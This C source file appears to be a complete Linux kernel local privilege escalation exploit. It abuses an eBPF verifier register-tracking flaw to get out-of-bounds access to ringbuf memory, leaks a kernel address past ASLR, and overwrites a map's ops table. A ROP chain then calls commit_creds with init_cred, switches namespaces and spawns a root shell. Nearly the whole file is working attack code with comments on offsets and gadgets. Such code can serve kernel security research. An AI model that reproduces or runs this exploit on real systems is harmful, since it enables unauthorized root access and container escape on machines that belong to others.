#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include "bpf_defs.h"
#include "kernel_defs.h"
#include "exploit_configs.h"

char *ringbuf_data = NULL;
uint64_t kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;

void shell(void) {
	printf("ret2usr success! uid : %d\n",getuid());
	char *args[] = {"/bin/sh", "-i", NULL};
	execve(args[0], args, NULL);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}



int create_bpf_maps(exploit_context* pCtx)
{
    int ret = -1;
    int map_array = -1;
    int map_array2 = -1;
    int ringbuf_map_fd1 = -1;
    
    union bpf_attr map_attrs =
    {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 0x10000,
        .max_entries = 1,
    };
    
    map_array = create_map(&map_attrs);//Map A
    if( map_array < 0){
        printf("[-] failed to create bpf array map!\n");
        goto done;
    }
    
    union bpf_attr map_attrs2 =
    {
        .map_type = BPF_MAP_TYPE_RINGBUF,
        .key_size = 0,
        .value_size = 0,
        .max_entries = 0x4000,
    };
    ringbuf_map_fd1 = create_map(&map_attrs2);//Map B
    if( ringbuf_map_fd1 < 0){
        printf("[-] failed to create bpf ring map!\n");
        goto done;
    }
    
    map_array2 = create_map(&map_attrs);//Map C
    if( map_array2 < 0){
        printf("[-] failed to create bpf array map 2!\n");
        goto done;
    }
    

    pCtx->map_array = map_array;
    pCtx->map_array2 = map_array2;
    pCtx->ringbuf_map_fd1 = ringbuf_map_fd1;
    
    ringbuf_data = mmap(NULL, 0x4000, PROT_READ, MAP_SHARED, ringbuf_map_fd1, 0);
    printf("ringbuf_data : %p\n", ringbuf_data);
    
    char *data = malloc(0x10000);
    memset(data, 0, 0x10000);
    
    *(uint64_t *)(&data[0]) = 0x10;//Update the map A. We will use it in first ebpf program
    update_map_element(pCtx->map_array, 0, data, 0);
    
    ret = 0;
done:
    printf("create map success\n");
    return ret;
}


void run_first_ebpf_prog(exploit_context* pCtx){
    struct bpf_insn insn[] =
    {
	//Get the memory of element 0 from map A through the helper function map_lookup_elem. We assume this is memory A.   
	BPF_LD_MAP_FD(BPF_REG_1, pCtx->map_array),
        BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_2, -0x10),//BPF_REG_10 is stack pointer and we're using BPF_REG_10-0x10 as storage
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x10),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),//If map_lookup_elem return 0, return. Otherwise, continue(jmp to BPF_MOV64_REG(BPF_REG_7, BPF_REG_0)).
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
	BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
        //Use the helper function `ringbuf_reserve` to request a memory of length 0x2800 from `map B`. We assume this is `memory B`  
	BPF_LD_MAP_FD(BPF_REG_1, pCtx->ringbuf_map_fd1),
        BPF_MOV64_IMM(BPF_REG_2, 0x2800),
        BPF_MOV64_IMM(BPF_REG_3, 0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),//If ringbuf_reserve return 0, just return. Otherwise, continue(jmp to BPF_MOV64_REG(BPF_REG_8, BPF_REG_0)).
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
	BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
	//Load `memory A + 0` to register `BPF_REG_1`.   
	BPF_LDX_MEM(BPF_W, BPF_REG_1, BPF_REG_7, 0),//Load BPF_REG_1 from map value. Here will finally set BPF_REG_1 -> subreg_def
	//Trigger the vulnerability
	//Why we need set BPF_REG_1 umax first? Because of the folloing code: 
	/*
	static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
	{
	
		if (BPF_SRC(insn->code) == BPF_X) {
			struct bpf_reg_state *src_reg = regs + insn->src_reg;
			struct bpf_reg_state *dst_reg = regs + insn->dst_reg;
			bool need_id = src_reg->type == SCALAR_VALUE && !src_reg->id &&
				       !tnum_is_const(src_reg->var_off);

			if (BPF_CLASS(insn->code) == BPF_ALU64) {
				...
			} else {
				...
				} else if (src_reg->type == SCALAR_VALUE) {
					if (insn->off == 0) {
						bool is_src_reg_u32 = src_reg->umax_value <= U32_MAX; <---- Here is why we need set umax of BPF_REG_1

						if (is_src_reg_u32 && need_id)
							src_reg->id = ++env->id_gen;
						copy_register_state(dst_reg, src_reg);
						* Make sure ID is cleared if src_reg is not in u32
						 * range otherwise dst_reg min/max could be incorrectly
						 * propagated into src_reg by find_equal_scalars()
						 *
						if (!is_src_reg_u32)
							dst_reg->id = 0;
						...
	*/
	BPF_JMP_IMM(BPF_JLT, BPF_REG_1, 0x100, 5), //Set BPF_REG_1 umax, so we can set BPF_REG_2->id later
	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),

	BPF_MOV32_REG(BPF_REG_2, BPF_REG_1),      //set BPF_REG_2->id. And here will generate the random hi32.
	BPF_JMP_IMM(BPF_JEQ, BPF_REG_1, 0x10, 5), //Trigger the vulnerability. 'find_equal_scalars' function will set BPF_REG_2 -> subreg_def = BPF_REG_1 -> subreg_def
	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),	    
	   
	BPF_ALU64_IMM(BPF_RSH, BPF_REG_2, 0x3f),  //Only use the highest bit of the random 32bit
	BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 0x10),  //If the highest bit is 1 , then after running this code, BPF_REG_2 = 0x10000; For verifier, BPF_REG_2 is still 0
	BPF_ALU64_IMM(BPF_XOR, BPF_REG_2, 0x10010), //If the highest bit is 1 , then after running this code, BPF_REG_2 = 0x10; For verifier, BPF_REG_2 = 0x10010
	//Now we try to alloc memory with size in BPF_REG_2
	BPF_LD_MAP_FD(BPF_REG_1, pCtx->ringbuf_map_fd1),
        BPF_MOV64_IMM(BPF_REG_3, 0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 5),
	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
	//Now we have a memory in BPF_REG_0. The verifier think the size of this memory is 0x10010, which in fact is 0x10. So we can do out-of-bound write and read now.

	BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0x67f0),//Get map -> ops, the address of array_map_ops; Get the offset from debugging
	//Why is it 0x67f0? Because the offset between map B's struct bpf_ringbuf and map C's struct bpf_array is 0xb000 (why 0xb000, please read the function bpf_ringbuf_alloc). In the first step, we applied for 0x2800 of memory through bpf_ringbuf_reserve, so when we apply for it again through bpf_ringbuf_reserve, the memory requested should be at bpf_ringbuf->data[0x2810] (why 0x2810? Because there are two BPF_RINGBUF_HDR_SZ). At this point, we can conclude that the offset of map C's struct bpf_array.map.ops from our current buffer is 0xb000-0x2810-offset(strcut bpf_ringbuf, data) = 0x67f0.
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0x67f0+BPF_ARRAY_MAP_OFFS_RCU), //Get map -> rcu list. It is a two-way pointer pointing to itself. We will use when overwriting map->ops; 0xc0 = offset(rcu, bpf_map)

        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, BPF_ARRAY_OFFS_VALUE - BPF_ARRAY_MAP_OFFS_RCU),//Get bpf_array->value address. We put the map->ops here. 0x50 = offset(value, bpf_array) - offset(rcu, bpf_map)
        BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_2, 0x67f0), //Overwrite map->ops to bpf_array->value.
	BPF_LD_IMM64(BPF_REG_3, ARRAY_MAP_OPS_OFF),
        BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_3), //calculate off to bypass ASLR
        BPF_LD_IMM64(BPF_REG_3, POP_RBX_RET),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1), //calculate first gadget address

        //Now overwrite map->ops->map_delete_elem
        BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_3, 0x67f0+BPF_ARRAY_OFFS_VALUE+BPF_MAP_OPS_OFFS_MAP_DELETE_ELEM), //0x110 = offset(bpf_array, value), 0x70 = offset(bpf_map_ops, map_delete_elem)
        //We need to jmp to ROP in next program because of the code in verifier.c:19230(patch_map_ops_generic)
        //store the kernel off for next step
        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
	//We must call bpf_ringbuf_submit for all the buf we alloc by bpf_ringbuf_reserve, otherwise the verifier will refuse to load the program.
	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),

	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
	BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };
    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
	getchar();
        exit(0);
    }
    printf("Finish run step1 code!\n");
    kernel_off = *(uint64_t *)(&ringbuf_data[0x2008]); //Get 0x2008 after debug
    /*why 0x2008 ?
    Because the struct bpf_ringbuf and function ringbuf_map_mmap_kern:
    struct bpf_ringbuf {
	...
    	unsigned long consumer_pos __aligned(PAGE_SIZE);
	unsigned long producer_pos __aligned(PAGE_SIZE);
	unsigned long pending_pos;
	char data[] __aligned(PAGE_SIZE);
};
    static int ringbuf_map_mmap_kern(struct bpf_map *map, struct vm_area_struct *vma)
{
	...
	return remap_vmalloc_range(vma, rb_map->rb,
				   vma->vm_pgoff + RINGBUF_PGOFF);
}
#define RINGBUF_PGOFF \
	(offsetof(struct bpf_ringbuf, consumer_pos) >> PAGE_SHIFT)
     So when we mmap a ringbuf, here is the memory we get because of '__aligned(PAGE_SIZE)':
     0: consumer_pos
0x1000: producer_pos
0x2000: data
     why 0x2008 not 0x2000? because we get hdr + BPF_RINGBUF_HDR_SZ in bpf_ringbuf_reserve. So position 0x2000 will be header and 0x2008 will be the data we write.
     * */
}

void run_second_ebpf_prog(exploit_context* pCtx){
    struct bpf_insn insn[] =
    {
	//Pad stack
	BPF_LD_IMM64(BPF_REG_0, kernel_off + POP_RDI_RET),
	BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0xa8),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + INIT_CRED),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0xa0),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + COMMIT_CREDS),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x98),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + POP_RDI_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x90),
	BPF_LD_IMM64(BPF_REG_0, 1),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x88),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + FIND_TASK_BY_VPID),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x80),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + MOV_RDI_RAX_POP_RBX_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x78),
	BPF_LD_IMM64(BPF_REG_0, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x70),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + POP_RSI_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x68),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + INIT_NSPROXY),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x60),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + SWITCH_TASK_NAMESPACES),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x58),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + SWAGPGS_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x50),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + IRETQ),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x48),
	BPF_LD_IMM64(BPF_REG_0, (uint64_t)shell),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x40),
	BPF_LD_IMM64(BPF_REG_0, user_cs),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x38),
	BPF_LD_IMM64(BPF_REG_0, user_rflags),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x30),
	BPF_LD_IMM64(BPF_REG_0, user_rsp|8),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x28),
	BPF_LD_IMM64(BPF_REG_0, user_ss),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x20),
	//Jmp to gadget
        //Now we jmp to map->ops->map_delete_elem
        BPF_LD_MAP_FD(BPF_REG_1, pCtx->map_array2),
        BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_2, -0x10),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x10),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_delete_elem),
        //Exit
        BPF_MOV64_IMM(BPF_REG_0, 0), 
        BPF_EXIT_INSN(),
    };
    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        getchar();
        exit(0);
    }
    printf("Finish run step2 code!\n");
}

int main(int argc, char **argv)
{
    save_state();
    for(int i=0;i<0x10;i++){//Because the highest digit of the random number is not necessarily 1, run it several times
    	exploit_context ctx = {0};
    	if(0 != create_bpf_maps(&ctx))
    	{
        	printf("[-] failed to create bpf maps!\n");
        	goto done;
    	}
    	run_first_ebpf_prog(&ctx);
    	run_second_ebpf_prog(&ctx);
    }
done:
    return 0;
}
